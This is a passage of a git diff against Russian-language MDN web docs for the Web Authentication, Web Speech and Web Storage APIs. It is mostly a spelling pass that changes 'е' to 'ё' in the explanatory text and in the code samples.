              a series of red bars in a bar graph, showing intensity of different frequencies in an audio signal

              diff --git a/files/ru/web/api/web_authentication_api/index.html b/files/ru/web/api/web_authentication_api/index.html index d7951c18d6..4407249491 100644 --- a/files/ru/web/api/web_authentication_api/index.html +++ b/files/ru/web/api/web_authentication_api/index.html @@ -11,11 +11,11 @@ translation_of: Web/API/Web_Authentication_API

              API Web Authentication (также называемое WebAuthn) использует {{interwiki("wikipedia", "Public-key_cryptography", "ассиметричную криптографию (систему с открытым ключом)")}} вместо паролей или SMS-сообщений для регистрации, входа и {{interwiki("wikipedia", "Multi-factor_authentication", "двухфакторной аутентификации")}} на веб-сайтах. Это устраняет многие значительные проблемы безопасности, такие как {{interwiki("wikipedia", "Phishing", "фишинг")}}, {{interwiki("wikipedia", "Data_breach", "утечки данных")}} и атаки на SMS или иные методы двухфакторной аутентификации, при этом сильно упрощая использование, т.к. пользователям не нужно запоминать десятки сложных паролей.

              -

              На многих сайтах уже есть страницы для регистрации и входа в существующие учетные записи, и Web Authentication API может быть как заменой, так и дополнением для них. Как и остальные виды Credential Management API, Web Authentication API содержит два базовых метода: для регистрации и для входа:

              +

              На многих сайтах уже есть страницы для регистрации и входа в существующие учётные записи, и Web Authentication API может быть как заменой, так и дополнением для них. Как и остальные виды Credential Management API, Web Authentication API содержит два базовых метода: для регистрации и для входа:

                -
              • {{domxref("CredentialsContainer.create()", "navigator.credentials.create()")}} - при использовании с опцией publicKey создает новый набор учетных данных для регистрации нового аккаунта или добавления пары ключей к уже существующему.
                • -
              • {{domxref("CredentialsContainer.get()", "navigator.credentials.get()")}} - при использовании с опцией publicKey использует существующий набор учетных данных для аутентификации в сервисе в качестве основного способа входа или второго фактора.
                • +
              • {{domxref("CredentialsContainer.create()", "navigator.credentials.create()")}} - при использовании с опцией publicKey создаёт новый набор учётных данных для регистрации нового аккаунта или добавления пары ключей к уже существующему.
                • +
              • {{domxref("CredentialsContainer.get()", "navigator.credentials.get()")}} - при использовании с опцией publicKey использует существующий набор учётных данных для аутентификации в сервисе в качестве основного способа входа или второго фактора.

              Обратите внимание, и create(), и get() работают только в Secure Context (например, когда подключение к серверу происходит через https или сервер работает на localhost).

              @@ -43,8 +43,8 @@ translation_of: Web/API/Web_Authentication_API
            • Приложение запрашивает регистрацию - The application makes the initial registration request. The protocol and format of this request is outside of the scope of the Web Authentication API.
            • Server Sends Challenge, User Info, and Relying Party Info - The server sends a challenge, user information, and relying party information to the JavaScript program. The protocol for communicating with the server is not specified and is outside of the scope of the Web Authentication API. Typically, server communications would be REST over https (probably using XMLHttpRequest or Fetch), but they could also be SOAP, RFC 2549 or nearly any other protocol provided that the protocol is secure. The parameters received from the server will be passed to the create() call, typically with little or no modification and returns a Promise that will resolve to a {{domxref("PublicKeyCredential")}} containing an {{domxref("AuthenticatorAttestationResponse")}}. Note that it is absolutely critical that the challenge be a buffer of random information (at least 16 bytes) and it MUST be generated on the server in order to ensure the security of the registration process.
            • Браузер вызывает authenticatorMakeCredential() для аутентификатора - Internally, the browser will validate the parameters and fill in any defaults, which become the {{domxref("AuthenticatorResponse.clientDataJSON")}}. One of the most important parameters is the origin, which is recorded as part of the clientData so that the origin can be verified by the server later. The parameters to the create() call are passed to the authenticator, along with a SHA-256 hash of the clientDataJSON (only a hash is sent because the link to the authenticator may be a low-bandwidth NFC or Bluetooth link and the authenticator is just going to sign over the hash to ensure that it isn't tampered with).
              • -
            • Аутентификатор создает новую пару ключей и Attestation - Before doing anything, the authenticator will typically ask for some form of user verification. This could be entering a PIN, using a fingerprint, doing an iris scan, etc. to prove that the user is present and consenting to the registration. After the user verification, the authenticator will create a new asymmetric key pair and safely store the private key for future reference. The public key will become part of the attestation, which the authenticator will sign over with a private key that was burned into the authenticator during its manufacturing process and that has a certificate chain that can be validated back to a root of trust.
              • -
            • Аутентификатор передает информацию в браузер - The new public key, a globally unique credential id, and other attestation data are returned to the browser where they become the attestationObject.
              • +
            • Аутентификатор создаёт новую пару ключей и Attestation - Before doing anything, the authenticator will typically ask for some form of user verification. This could be entering a PIN, using a fingerprint, doing an iris scan, etc. to prove that the user is present and consenting to the registration. After the user verification, the authenticator will create a new asymmetric key pair and safely store the private key for future reference. The public key will become part of the attestation, which the authenticator will sign over with a private key that was burned into the authenticator during its manufacturing process and that has a certificate chain that can be validated back to a root of trust.
              • +
            • Аутентификатор передаёт информацию в браузер - The new public key, a globally unique credential id, and other attestation data are returned to the browser where they become the attestationObject.
            • Браузер создаёт итоговый набор данных, приложение отвечает серверу - The create() Promise resolves to an {{domxref("PublicKeyCredential")}}, which has a {{domxref("PublicKeyCredential.rawId")}} that is the globally unique credential id along with a response that is the {{domxref("AuthenticatorAttestationResponse")}} containing the {{domxref("AuthenticatorResponse.clientDataJSON")}} and {{domxref("AuthenticatorAttestationResponse.attestationObject")}}. The {{domxref("PublicKeyCredential")}} is sent back to the server using any desired formatting and protocol (note that the ArrayBuffer properties need to be be base64 encoded or similar).
            • Сервер проверят и завершает регистрацию - Finally, the server is required to perform a series of checks to ensure that the registration was complete and not tampered with. These include:
                @@ -67,8 +67,8 @@ translation_of: Web/API/Web_Authentication_API
              1. Приложение запрашивает аутентификацию - The application makes the initial authentication request. The protocol and format of this request is outside of the scope of the Web Authentication API.
              2. Server Sends Challenge - The server sends a challenge to the JavaScript program. The protocol for communicating with the server is not specified and is outside of the scope of the Web Authentication API. Typically, server communications would be REST over https (probably using XMLHttpRequest or Fetch), but they could also be SOAP, RFC 2549 or nearly any other protocol provided that the protocol is secure. The parameters received from the server will be passed to the get() call, typically with little or no modification. Note that it is absolutely critical that the challenge be a buffer of random information (at least 16 bytes) and it MUST be generated on the server in order to ensure the security of the authentication process.
              3. Браузер вызывает authenticatorGetCredential() для аутентификатора - Internally, the browser will validate the parameters and fill in any defaults, which become the {{domxref("AuthenticatorResponse.clientDataJSON")}}. One of the most important parameters is the origin, which recorded as part of the clientData so that the origin can be verified by the server later. The parameters to the get() call are passed to the authenticator, along with a SHA-256 hash of the clientDataJSON (only a hash is sent because the link to the authenticator may be a low-bandwidth NFC or Bluetooth link and the authenticator is just going to sign over the hash to ensure that it isn't tampered with).
                4. -
              4. Аутентификатор создает подпись - The authenticator finds a credential for this service that matches the Relying Party ID and prompts a user to consent to the authentication. Assuming both of those steps are successful, the authenticator will create a new assertion by signing over the clientDataHash and authenticatorData with the private key generated for this account during the registration call.
                5. -
              5. Аутентификатор передает информацию в браузер - The authenticator returns the authenticatorData and assertion signature back to the browser.
                6. +
              6. Аутентификатор создаёт подпись - The authenticator finds a credential for this service that matches the Relying Party ID and prompts a user to consent to the authentication. Assuming both of those steps are successful, the authenticator will create a new assertion by signing over the clientDataHash and authenticatorData with the private key generated for this account during the registration call.
                7. +
              7. Аутентификатор передаёт информацию в браузер - The authenticator returns the authenticatorData and assertion signature back to the browser.
              8. Браузер создаёт итоговый набор данных, приложение отвечает серверу - The browser resolves the Promise to a {{domxref("PublicKeyCredential")}} with a {{domxref("PublicKeyCredential.response")}} that contains the {{domxref("AuthenticatorAssertionResponse")}}. It is up to the JavaScript application to transmit this data back to the server using any protocol and format of its choice.
              9. Сервер проверят и завершает аутентификацию - Upon receiving the result of the authentication request, the server performs validation of the response such as:
                  diff --git a/files/ru/web/api/web_speech_api/index.html b/files/ru/web/api/web_speech_api/index.html index 3398c86aad..1a844c744f 100644 --- a/files/ru/web/api/web_speech_api/index.html +++ b/files/ru/web/api/web_speech_api/index.html @@ -14,7 +14,7 @@ translation_of: Web/API/Web_Speech_API

                  Web Speech API позволяет веб приложениям управлять голосовыми данными. Существует два компонента к этому API:

                    -
                  • Распознавание голоса. Доступ обеспечивается через {{domxref("SpeechRecognition")}} интерфейс, который в свою очередь обеспечивает возможность распознавать текст из входящего аудио потока (обычно через устройство распознавания речи в устройстве по умолчанию) и отвечать соответственно. Воспользовавшись конструктором интерфейса вы можете создать новый {{domxref("SpeechRecognition")}} объект, у которого есть ряд событий для обнаружения начала речи через микрофон устройства. {{domxref("SpeechGrammar")}} интерфейс предоставляет контейнер для определенного набора грамматики, которое ваше приложение должно использовать. Грамматика определяется с помощью JSpeech Grammar Format (JSGF.)
                    • +
                  • Распознавание голоса. Доступ обеспечивается через {{domxref("SpeechRecognition")}} интерфейс, который в свою очередь обеспечивает возможность распознавать текст из входящего аудио потока (обычно через устройство распознавания речи в устройстве по умолчанию) и отвечать соответственно. Воспользовавшись конструктором интерфейса вы можете создать новый {{domxref("SpeechRecognition")}} объект, у которого есть ряд событий для обнаружения начала речи через микрофон устройства. {{domxref("SpeechGrammar")}} интерфейс предоставляет контейнер для определённого набора грамматики, которое ваше приложение должно использовать. Грамматика определяется с помощью JSpeech Grammar Format (JSGF.)
                  • Доступ к синтезу речи осуществляется с помощью {{domxref("SpeechSynthesis")}} интерфейса, компонент text-to-speech позволяет приложениям прочесть свой текстовый контент (обычно через дефолтный синтезатор речи устройства). В {{domxref("SpeechSynthesisVoice")}} объектах есть различные типы голоса, и различным частям текста можно назначать   {{domxref("SpeechSynthesisUtterance")}} объекты. Можно начать воспроизведение передав их методу {{domxref("SpeechSynthesis.speak()")}}.
                  diff --git a/files/ru/web/api/web_speech_api/using_the_web_speech_api/index.html b/files/ru/web/api/web_speech_api/using_the_web_speech_api/index.html index 27aa08113f..c78a987ba5 100644 --- a/files/ru/web/api/web_speech_api/using_the_web_speech_api/index.html +++ b/files/ru/web/api/web_speech_api/using_the_web_speech_api/index.html @@ -9,11 +9,11 @@ tags: - Синтез речи translation_of: Web/API/Web_Speech_API/Using_the_Web_Speech_API --- -

                  Web Speech API предоставляет 2 основных типа функционала — распознавание речи пользователя и речевое воспроизведение текста. Это предоставляет новые возможности для взаимодействия с интерфейсом и открывает перед нами новые горизонты создания уникального пользовательского опыта. Эта статья дает краткое описание обоих направлений с примерами кода и ссылкой на работающее приложение онлайн.

                  +

                  Web Speech API предоставляет 2 основных типа функционала — распознавание речи пользователя и речевое воспроизведение текста. Это предоставляет новые возможности для взаимодействия с интерфейсом и открывает перед нами новые горизонты создания уникального пользовательского опыта. Эта статья даёт краткое описание обоих направлений с примерами кода и ссылкой на работающее приложение онлайн.

                  Распознавание речи

                  -

                  Механизм распознавания речи способен принимать речевой поток через микрофон устройства, а затем проверять его, используя свои внутренние алгоритмы. Для более точной работы рекомендуется использовать интерфейс SpeechGrammar, предоставляющий контейнер для определенного набора грамматики, которое ваше приложение должно использовать. Грамматика определяется с помощью JSpeech Grammar Format(JSGF.).

                  +

                  Механизм распознавания речи способен принимать речевой поток через микрофон устройства, а затем проверять его, используя свои внутренние алгоритмы. Для более точной работы рекомендуется использовать интерфейс SpeechGrammar, предоставляющий контейнер для определённого набора грамматики, которое ваше приложение должно использовать. Грамматика определяется с помощью JSpeech Grammar Format(JSGF.).

                  После того, как пользовательская речь была распознана, алгоритм возвращает результат (список результатов) в качестве текстовой строки, с которой мы можем продолжить работу.

                  @@ -33,7 +33,7 @@ translation_of: Web/API/Web_Speech_API/Using_the_Web_Speech_API

                  Браузерная поддержка

                  -

                  Поддержка интерфейса еще только распространяется на основные браузеры, и на текущий момент ограничена следующим образом:

                  +

                  Поддержка интерфейса ещё только распространяется на основные браузеры, и на текущий момент ограничена следующим образом:

                  • @@ -50,7 +50,7 @@ translation_of: Web/API/Web_Speech_API/Using_the_Web_Speech_API

                    Разметка и стили предельно просты. У нас есть значок микрофона, на который мы можем кликнуть для начала записи, анимация звукозаписи, которая включается после клика, и фоновый контейнер, который будет изменять свой цвет, в зависимости от того, что озвучит пользователь.

                    -

                    CSS задает простые отзывчивые стили, для корректного отображения и работы на всех устройствах

                    +

                    CSS задаёт простые отзывчивые стили, для корректного отображения и работы на всех устройствах

                    JavaScript

                    @@ -74,8 +74,8 @@ const SpeechRecognitionEvent = window.SpeechRecognitionEvent || window.webkitSpe 
                    const colors = {
   красный: 'red',
   оранжевый: 'orange',
-  желтый: 'yellow',
-  зеленый: 'green',
+  жёлтый: 'yellow',
+  зелёный: 'green',
   голубой: 'blue',
   синий: 'darkblue',
   фиолетовый: 'violet'
@@ -100,7 +100,7 @@ const grammar = '#JSGF V1.0; grammar colors; public <color> = ' + colorsLi
   
                    Вторая строка указывает значение, которое мы хотим распознать. public объявляет, что это общедоступное правило, строка в угловых скобках определяет распознанное имя для этого значения (цвет), а список элементов, следующих за знаком равенства, - это альтернативные варианты, которые будут распознаны и могут быть приняты в качестве возможного значения. Обратите внимание, как каждый из них разделяется вертикальной линией (“|” - “pipe character”).
                  • -

                    У вас может быть множество значений, определенных отдельно, как указано выше, и содержащих довольно сложные определения грамматики. Для нашего демонстрационного примера мы делаем все просто.

                    +

                    У вас может быть множество значений, определённых отдельно, как указано выше, и содержащих довольно сложные определения грамматики. Для нашего демонстрационного примера мы делаем все просто.

                  @@ -108,7 +108,7 @@ const grammar = '#JSGF V1.0; grammar colors; public <color> = ' + colorsLi

                  Следующее, что нужно сделать, это определить экземпляр объекта распознавания речи для управления записью нашего приложения.

                  -

                  Это делается с помощью конструктора SpeechRecognition(). Мы также создаем новый речевой грамматический список, чтобы содержать нашу грамматику, используя конструктор SpeechGrammarList().

                  +

                  Это делается с помощью конструктора SpeechRecognition(). Мы также создаём новый речевой грамматический список, чтобы содержать нашу грамматику, используя конструктор SpeechGrammarList().

                  const recognition = new SpeechRecognition();
 const speechRecognitionList = new SpeechGrammarList();
                  @@ -118,7 +118,7 @@ const speechRecognitionList = new SpeechGrammarList(); 
                  speechRecognitionList.addFromString(grammar, 1);
                  -

                  Затем мы добавляем SpeechGrammarList к уже созданному объекту распознавания речи, присваивая его значение свойству SpeechRecognition.grammars. Также зададим еще несколько свойств объекту, прежде чем двигаться дальше:

                  +

                  Затем мы добавляем SpeechGrammarList к уже созданному объекту распознавания речи, присваивая его значение свойству SpeechRecognition.grammars. Также зададим ещё несколько свойств объекту, прежде чем двигаться дальше:

                  • @@ -140,14 +140,14 @@ recognition.maxAlternatives = 1;
                    -

                    Внимание:  SpeechRecognition.continuous задает, отслеживаются ли продолжающиеся результаты или только 1 результат, каждый раз, когда запись начата. Это закомментировано, поскольку данное свойство в еще не реализовано в Gecko.

                    +

                    Внимание:  SpeechRecognition.continuous задаёт, отслеживаются ли продолжающиеся результаты или только 1 результат, каждый раз, когда запись начата. Это закомментировано, поскольку данное свойство в ещё не реализовано в Gecko.

                    Вы можете получить аналогичный результат, просто прекратив распознавание после получения первого результата.

                    Запуск распознавания речи

                    -

                    После получения ссылок на DOM-элементы, необходимые нам для обработки пользовательских событий и обновления цвета фона приложения, мы реализуем обработчик onclick, чтобы при нажатии на значок микрофона сервис распознавания речи начинал работу. Запуск происходит путем вызова функции SpeechRecognition.start().

                    +

                    После получения ссылок на DOM-элементы, необходимые нам для обработки пользовательских событий и обновления цвета фона приложения, мы реализуем обработчик onclick, чтобы при нажатии на значок микрофона сервис распознавания речи начинал работу. Запуск происходит путём вызова функции SpeechRecognition.start().

                    microphoneIcon.onclick = function() {
   recognition.start();
@@ -162,7 +162,7 @@ recognition.onaudiostart = function() {
 
 
                    Получение и обработка результата
                    
 
-
                    После того, как процесс распознавания речи был запущен, есть много обработчиков событий, которые могут быть использованы для работы с результатом и другой сопутствующей информацией (см. Список обработчиков событий SpeechRecognition.) Наиболее распространенный, который вы, вероятно, и будете использовать, это SpeechRecognition.onresult, который запускается сразу после получения успешного результата. Значение цвета получаем вызовом функции getColor()
                    
+
                    После того, как процесс распознавания речи был запущен, есть много обработчиков событий, которые могут быть использованы для работы с результатом и другой сопутствующей информацией (см. Список обработчиков событий SpeechRecognition.) Наиболее распространённый, который вы, вероятно, и будете использовать, это SpeechRecognition.onresult, который запускается сразу после получения успешного результата. Значение цвета получаем вызовом функции getColor()
                    
 
 
                    function getColor(speechResult) {
   for (let index = 0; index < colorsList.length; index += 1) {
@@ -182,7 +182,7 @@ recognition.onresult = function(event) {
   console.log('Confidence: ' + event.results[0][0].confidence);
 };
                    
 
-
                    Третья строка здесь выглядит немного усложненной, поэтому давайте разберемся с ней подробнее. Свойство SpeechRecognitionEvent.results возвращает объект SpeechRecognitionResultList, содержащий в себе другие объекты типа SpeechRecognitionResult. У него есть геттер, поэтому он может быть доступен как массив, поэтому переменная last определяет ссылку на SpeechRecognitionResult из списка. Каждый объект SpeechRecognitionResult содержит объекты SpeechRecognitionAlternative, которые содержат отдельные распознанные слова. Они также имеют геттеры, поэтому к ним можно получить доступ как к массивам, поэтому логично, что [0] возвращает значение SpeechRecognitionAlternative по индексу 0. Затем мы возвращаем строку, содержащую индивидуально распознанный результат, используя который и можем установить цвет фона.
                    
+
                    Третья строка здесь выглядит немного усложнённой, поэтому давайте разберёмся с ней подробнее. Свойство SpeechRecognitionEvent.results возвращает объект SpeechRecognitionResultList, содержащий в себе другие объекты типа SpeechRecognitionResult. У него есть геттер, поэтому он может быть доступен как массив, поэтому переменная last определяет ссылку на SpeechRecognitionResult из списка. Каждый объект SpeechRecognitionResult содержит объекты SpeechRecognitionAlternative, которые содержат отдельные распознанные слова. Они также имеют геттеры, поэтому к ним можно получить доступ как к массивам, поэтому логично, что [0] возвращает значение SpeechRecognitionAlternative по индексу 0. Затем мы возвращаем строку, содержащую индивидуально распознанный результат, используя который и можем установить цвет фона.
                    
 
 
                    Мы также используем свойство SpeechRecognition.speechend, чтобы задать обработчик на завершение работы распознавателя речи (вызов SpeechRecognition.stop() ), как только одно слово было распознано, и входящий речевой поток был остановлен.
                    
 
@@ -196,7 +196,7 @@ recognition.onresult = function(event) {
 
 
                    Обработка ошибок
                    
 
-
                    Последние два обработчика используются для отлова ошибок: когда речь была признана не в соответствии с определенной грамматикой или произошла ошибка. По логике, SpeechRecognition.onnomatch, должен обрабатывать первый случай, но обратите внимание, что на данный момент он не срабатывает правильно в Firefox или Chrome, он просто возвращает все, что было распознано в любом случае:
                    
+
                    Последние два обработчика используются для отлова ошибок: когда речь была признана не в соответствии с определённой грамматикой или произошла ошибка. По логике, SpeechRecognition.onnomatch, должен обрабатывать первый случай, но обратите внимание, что на данный момент он не срабатывает правильно в Firefox или Chrome, он просто возвращает все, что было распознано в любом случае:
                    
 
 
                    recognition.onnomatch = function(event) {
   alert("I didn't recognise that color.");
@@ -229,7 +229,7 @@ recognition.onresult = function(event) {
 
 
                    Браузерная поддержка
                    
 
-
                    Поддержка интерфейса еще только распространяется на основные браузеры, и на текущий момент ограничена следующим образом:
                    
+
                    Поддержка интерфейса ещё только распространяется на основные браузеры, и на текущий момент ограничена следующим образом:
                    
 
 
                      
  
                    • 
@@ -252,7 +252,7 @@ recognition.onresult = function(event) {
  Заголовок и форму с некоторыми простыми элементами управления.
                      
  Элемент <select> изначально пуст, но заполняется с помощью <option> через JavaScript (см. ниже).
                      
 
-
                      CSS задает простые отзывчивые стили, для корректного отображения и работы на всех устройствах
                      
+
                      CSS задаёт простые отзывчивые стили, для корректного отображения и работы на всех устройствах
                      
 
 
                      <section>
   <h1>Синтез речи</h1>
@@ -292,7 +292,7 @@ recognition.onresult = function(event) {
 
 
                      Задание переменных
                      
 
-
                      Прежде всего, создаем ссылки на все нужные нам DOM-элементы.
                      
+
                      Прежде всего, создаём ссылки на все нужные нам DOM-элементы.
                      
 
 
                      Входная точка API - window.speechSynthesis, возвращает экземпляр SpeechSynthesis, интерфейс контроллера для синтеза речи в вебе.
                      
 
@@ -308,9 +308,9 @@ let voices = [];
                      
 
 
                      Заполнение выпадающего списка
                      
 
-
                      Чтобы заполнить элемент <select> различными вариантами голоса, доступных на устройстве, напишем функцию populateVoiceList(). Сначала мы вызываем SpeechSynthesis.getVoices(), который возвращает список всех доступных вариантов голосов, представленных объектами SpeechSynthesisVoice. Затем мы проходимся по списку, создавая элемент <option> для каждого отдельного случая, задаем его текстовое содержимое, соответствующее названию голоса (взято из SpeechSynthesisVoice.name), языка голоса (из SpeechSynthesisVoice.lang), и  “по умолчанию”, если голос является голосом по умолчанию для механизма синтеза (проверяется, если функция SpeechSynthesisVoice.default возвращает значение true.)
                      
+
                      Чтобы заполнить элемент <select> различными вариантами голоса, доступных на устройстве, напишем функцию populateVoiceList(). Сначала мы вызываем SpeechSynthesis.getVoices(), который возвращает список всех доступных вариантов голосов, представленных объектами SpeechSynthesisVoice. Затем мы проходимся по списку, создавая элемент <option> для каждого отдельного случая, задаём его текстовое содержимое, соответствующее названию голоса (взято из SpeechSynthesisVoice.name), языка голоса (из SpeechSynthesisVoice.lang), и  “по умолчанию”, если голос является голосом по умолчанию для механизма синтеза (проверяется, если функция SpeechSynthesisVoice.default возвращает значение true.)
                      
 
-
                      Мы также задаем data- атрибуты для каждого варианта, содержащие имя и язык связанного голоса, благодаря чему мы можем легко их собрать их позже, а затем вложить все варианты в качестве дочерних элементов нашего списка (<select>).
                      
+
                      Мы также задаём data- атрибуты для каждого варианта, содержащие имя и язык связанного голоса, благодаря чему мы можем легко их собрать их позже, а затем вложить все варианты в качестве дочерних элементов нашего списка (<select>).
                      
 
 
                      function populateVoiceList() {
   voices = synth.getVoices();
@@ -340,11 +340,11 @@ let voices = [];
                      
   speechSynthesis.onvoiceschanged = populateVoiceList;
 }
                    
 
-
                    Озвучка введенного текста
                    
+
                    Озвучка введённого текста
                    
 
-
                    Затем мы создаем обработчик событий, чтобы начать “произносить” текст, введенный в текстовом поле, при нажатии на кнопку Enter/Return или на Play. Для этого используем обработчик onsubmit в html-формы. В функции-обработчике speak() мы создаем новый экземпляр SpeechSynthesisUtterance(), передавая значение текстового поля в конструктор.
                    
+
                    Затем мы создаём обработчик событий, чтобы начать “произносить” текст, введённый в текстовом поле, при нажатии на кнопку Enter/Return или на Play. Для этого используем обработчик onsubmit в html-формы. В функции-обработчике speak() мы создаём новый экземпляр SpeechSynthesisUtterance(), передавая значение текстового поля в конструктор.
                    
 
-
                    Затем нам нужно выяснить, какой голос использовать. Мы используем свойство HTMLSelectElement selectedOptions для получения выбранного элемента <option>, у которого берем атрибут data-name, и находим объект SpeechSynthesisVoice, имя которого соответствует значению имеющегося атрибута. После этого устанавливаем соответствующий “голосовой” объект как значение свойства SpeechSynthesisUtterance.voice.
                    
+
                    Затем нам нужно выяснить, какой голос использовать. Мы используем свойство HTMLSelectElement selectedOptions для получения выбранного элемента <option>, у которого берём атрибут data-name, и находим объект SpeechSynthesisVoice, имя которого соответствует значению имеющегося атрибута. После этого устанавливаем соответствующий “голосовой” объект как значение свойства SpeechSynthesisUtterance.voice.
                    
 
 
                    Наконец, мы устанавливаем SpeechSynthesisUtterance.pitch (высота тона) и SpeechSynthesisUtterance.rate (скорость) в соответствии со значениями соответствующих элементов формы. Затем, после всего проделанного, мы запускаем произношение речи, вызывая SpeechSynthesis.speak(), и передавая ему экземпляр SpeechSynthesisUtterance в качестве аргумента.
                    
 
@@ -353,7 +353,7 @@ let voices = [];

                    В последней части функции мы включаем обработчик SpeechSynthesisUtterance.onpause, чтобы показать пример применения SpeechSynthesisEvent в различных ситуациях. Вызов SpeechSynthesis.pause() возвращает сообщение с информацией о номере символа и слове, на котором была вызвана пауза.

                    -

                    Наконец, мы назовем blur() у текстового поля. Это, прежде всего, для того, чтобы скрыть клавиатуру в ОС Firefox.

                    +

                    Наконец, мы назовём blur() у текстового поля. Это, прежде всего, для того, чтобы скрыть клавиатуру в ОС Firefox.

                    function speak() {
   if (synth.speaking) {
diff --git a/files/ru/web/api/web_storage_api/index.html b/files/ru/web/api/web_storage_api/index.html
index e162603b6b..63f15e9736 100644
--- a/files/ru/web/api/web_storage_api/index.html
+++ b/files/ru/web/api/web_storage_api/index.html
@@ -14,14 +14,14 @@ translation_of: Web/API/Web_Storage_API
  
                  • локальное хранилище (localStorage) делает то же самое, но сохраняет данные даже в случае, если переоткрыть браузер. 
                    •
                  -

                  Обе функции доступны через  {{domxref("Window.sessionStorage")}} и {{domxref("Window.localStorage")}} свойства (если быть более точным, в браузерах, поддерживающих хранилища объект Window  выполняет объекты WindowLocalStorage и WindowSessionStorage, которые содержат свойства localStorage и sessionStorage) — вызов одного из них создает представление объекта {{domxref("Storage")}}, через который можно устанавливать, редактировать и удалять данные. Для каждого из типа хранилищ и по каждому домену используется отдельное представление Storage объекта  - они функционируют и управляются отдельно друг от друга. 

                  +

                  Обе функции доступны через  {{domxref("Window.sessionStorage")}} и {{domxref("Window.localStorage")}} свойства (если быть более точным, в браузерах, поддерживающих хранилища объект Window  выполняет объекты WindowLocalStorage и WindowSessionStorage, которые содержат свойства localStorage и sessionStorage) — вызов одного из них создаёт представление объекта {{domxref("Storage")}}, через который можно устанавливать, редактировать и удалять данные. Для каждого из типа хранилищ и по каждому домену используется отдельное представление Storage объекта  - они функционируют и управляются отдельно друг от друга. 

                  -

                  Замечание: Начиная с версии 45 Firefox, когда браузер прекращает работу/перезагружается, объем данных, сохраненных для каждого источника, ограничивается 10 МБ. Это было сделано, чтобы избежать проблем с памятью, вызванных чрезмерным использованием веб-хранилища.

                  +

                  Замечание: Начиная с версии 45 Firefox, когда браузер прекращает работу/перезагружается, объем данных, сохранённых для каждого источника, ограничивается 10 МБ. Это было сделано, чтобы избежать проблем с памятью, вызванных чрезмерным использованием веб-хранилища.

                  -

                  Замечание: Доступ к веб хранилищу из iFrame третьей стороны запрещен, если пользователь отключил cookies третьих сторон (Firefox ведёт себя так с версии 43).

                  +

                  Замечание: Доступ к веб хранилищу из iFrame третьей стороны запрещён, если пользователь отключил cookies третьих сторон (Firefox ведёт себя так с версии 43).

                  @@ -41,7 +41,7 @@ translation_of: Web/API/Web_Storage_API

                  Примеры

                  -

                  Чтобы проиллюстрировать типичное использование веб хранилища, мы создали простейший пример и назвали его Web Storage Demo. На лендинге нашего примера вы найдете элементы управления для изменения фонового цвета, шрифта и изображения. Когда вы выбираете разные опции, страница мгновенно меняется. В дополнение, ваш выбор сохраняется в локальном хранилище, чтобы, если вы покинете страницу и потом загрузите ее снова, ваши настройки восстановились. 

                  +

                  Чтобы проиллюстрировать типичное использование веб хранилища, мы создали простейший пример и назвали его Web Storage Demo. На лендинге нашего примера вы найдёте элементы управления для изменения фонового цвета, шрифта и изображения. Когда вы выбираете разные опции, страница мгновенно меняется. В дополнение, ваш выбор сохраняется в локальном хранилище, чтобы, если вы покинете страницу и потом загрузите её снова, ваши настройки восстановились. 

                  Также, мы сделали страницу вывода событий, которая выводит информацию о хранилище, каждый раз когда срабатывает событие {{domxref("StorageEvent")}}. Загрузите эту страницу в другой вкладке браузера, затем вернитесь на лендинг и поменяйте значения цвета, шрифта или изображения и понаблюдайте, как меняется выводимая информация.

                  @@ -120,7 +120,7 @@ translation_of: Web/API/Web_Storage_API
                  -

                  У каждого браузера свои объемы localStorage и sessionStorage. Здесь об ограничениях размеров хранилищ для разных браузеров.

                  +

                  У каждого браузера свои объёмы localStorage и sessionStorage. Здесь об ограничениях размеров хранилищ для разных браузеров.

                  Замечание:  Начиная с версии iOS 5.1, Safari Mobile хранит данные localStorage в cache директории, которая время от времени подчищается системой, в основном когда кончается место.

                  @@ -128,11 +128,11 @@ translation_of: Web/API/Web_Storage_API

                  Приватный режим/Инкогнито

                  -

                  Многие браузеры в наши дни поддерживают опции приватности, названные "Инкогнито" или "Приватный просмотр" и т.п., что позволяет быть уверенными, что следов приватной сессии не остается после закрытия браузера. Это фундаментальная несовместимость с Веб хранилищем по очевидным причинам. Таким образом, производители браузеров экспериментируют с различными сценариями, как справиться с этой несовместимостью.

                  +

                  Многие браузеры в наши дни поддерживают опции приватности, названные "Инкогнито" или "Приватный просмотр" и т.п., что позволяет быть уверенными, что следов приватной сессии не остаётся после закрытия браузера. Это фундаментальная несовместимость с Веб хранилищем по очевидным причинам. Таким образом, производители браузеров экспериментируют с различными сценариями, как справиться с этой несовместимостью.

                  Многие браузеры выбрали стратегию, когда API хранилища доступно и кажется полностью функциональным, с одним большим отличием - все данные хранилища стираются после закрытия браузера. Для этих браузеров есть ещё другие интерпретации того, что следует делать с хранимыми данными (от обычного режима браузера). Следует ли им быть доступными в приватном режиме? Затем, есть несколько браузеров, особенно Safari, которые выбрали решение, в котором хранилище доступно, но пустое и имеет квоту 0 байт, фактически, делая невозможной запись туда данных.

                  -

                  Разработчики должны быть осведомлены об этих различных реализациях и принимать их во внимание при разработке веб-сайтов, зависящих от API Веб хранилища. Для получения более подробной информации, пожалуйста, посмотрите на этот пост блога WHATWG, специально посвященный этой теме.

                  +

                  Разработчики должны быть осведомлены об этих различных реализациях и принимать их во внимание при разработке веб-сайтов, зависящих от API Веб хранилища. Для получения более подробной информации, пожалуйста, посмотрите на этот пост блога WHATWG, специально посвящённый этой теме.

                  Смотрите также

                  diff --git a/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html b/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html index 2048019f7c..882f40200d 100644 --- a/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html +++ b/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html @@ -23,7 +23,7 @@ localStorage.setItem('colorSetting', '#a4509b');
                1. (localStorage) делает то же самое, но сохраняет данные даже в случае, если переоткрыть браузер. 
            -

            Оба механизма доступны через  {{domxref("Window.sessionStorage")}} и {{domxref("Window.localStorage")}} свойства (если быть более точным, в броузерах, поддерживающих хранилища объект Window  выполняет объекты WindowLocalStorageи WindowSessionStorage, которые содержат свойства localStorageи sessionStorage) — вызов одного из них создает экземпляр объекта Storage, через который можно устанавливать, редактировать и удалять данные. Разные Storage объекты будут использовать sessionStorage и localStorage поэтому они используются и управляются раздельно 

            +

